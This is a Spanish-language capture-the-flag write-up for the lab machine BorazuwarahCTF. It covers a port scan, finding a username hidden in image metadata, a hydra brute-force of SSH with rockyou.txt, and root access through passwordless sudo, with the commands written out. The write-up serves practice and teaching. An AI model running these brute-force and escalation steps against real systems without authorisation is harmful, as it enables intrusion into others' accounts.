WriteUps BorazuwarahCTF

28 May 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:

BASH
1
sudo bash auto_deploy.sh borazuwarahctf.tar

Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:

BASH
1
nmap 172.17.0.2

El resultado del escaneo de puertos fue:

BASH
1
2
3
4
5
6
7
8
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 12:42 -05
Nmap scan report for 172.17.0.2
Host is up (0.000036s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)

Resultado clave: El escaneo de puertos reveló dos servicios importantes:

  • Puerto 22: Servicio SSH abierto.
  • Puerto 80: Servicio HTTP abierto.

Análisis de servicio#

El siguiente paso es explorar el servicio HTTP. Al visitar la página en el puerto 80, encontré una imagen de un huevo sorpresa con el siguiente mensaje: “Te quiero” y el siguiente código HTML:

HTML
1
2
3
4
5
<html>
<body>
<img src='[imagen.jpeg](http://172.17.0.2/imagen.jpeg)'>
</body>
</html>

TQhuevoSorpresa.png

Dado que la imagen parece ser el único elemento visible en la página, decidí analizar sus metadatos usando exiftool para encontrar más información:

BASH
1
exiftool descarga.jpeg

El resultado contiene un usuario oculto en los metadatos:

BASH
1
Description                     : ---------- User: xxxxxxxx ----------

Resultado Clave: Obtuve el nombre de usuario necesario para conectarme a través de SSH.

Fuerza bruta#

Con el nombre de usuario identificado, el siguiente paso fue realizar un ataque de fuerza bruta para encontrar la contraseña. Utilicé hydra con el diccionario rockyou.txt:

BASH
1
hydra -l xxxxxxxx -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh

El resultado mostró:

BASH
1
[22][ssh] host: 172.17.0.2   login: xxxxxxxx   password: xxxxxxxx

Resultado clave: Hydra encontró la contraseña del usuario, permitiendo el acceso por SSH. Procedí a conectarme a la máquina usando SSH:

BASH
1
ssh xxxxxxxx@172.17.0.2

Escalada de privilegios#

Estando dentro de la máquina, ejecuté el comando sudo -l para ver qué permisos tenía el usuario y obtuve el siguiente resultado:

BASH
1
2
3
4
5
6
7
sudo -l
Matching Defaults entries for borazuwarah on 61599ead1e0b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty

User borazuwarah may run the following commands on 61599ead1e0b:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/bash

Resultado clave: El usuario tiene permisos para ejecutar /bin/bash como root sin necesidad de contraseña. Ejecuté el siguiente comando para convertirme en root:

BASH
1
sudo /bin/bash

Y con esto, obtuve acceso completo como root.

Aprendizaje#

La máquina BorazuwarahCTF me permitió practicar habilidades básicas de reconocimiento y explotación. Los pasos clave incluyen el reconocimiento del servicio HTTP y la extracción de información oculta en los metadatos de una imagen, seguida de la fuerza bruta de un servicio SSH. Finalmente, el acceso sudo sin contraseña me permitió la elevación de privilegios.

Comandos#

  1. Despliegue de la máquina:
    BASH
    1
    sudo bash auto_deploy.sh borazuwarahctf.tar
    
  2. Escaneo de puertos:
    BASH
    1
    nmap 172.17.0.2
    
  3. Análisis de metadatos:
    BASH
    1
    exiftool descarga.jpeg
    
  4. Ataque de fuerza bruta (SSH):
    BASH
    1
    hydra -l xxxxxxxx -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
    
  5. Elevación de privilegios:
    BASH
    1
    sudo /bin/bash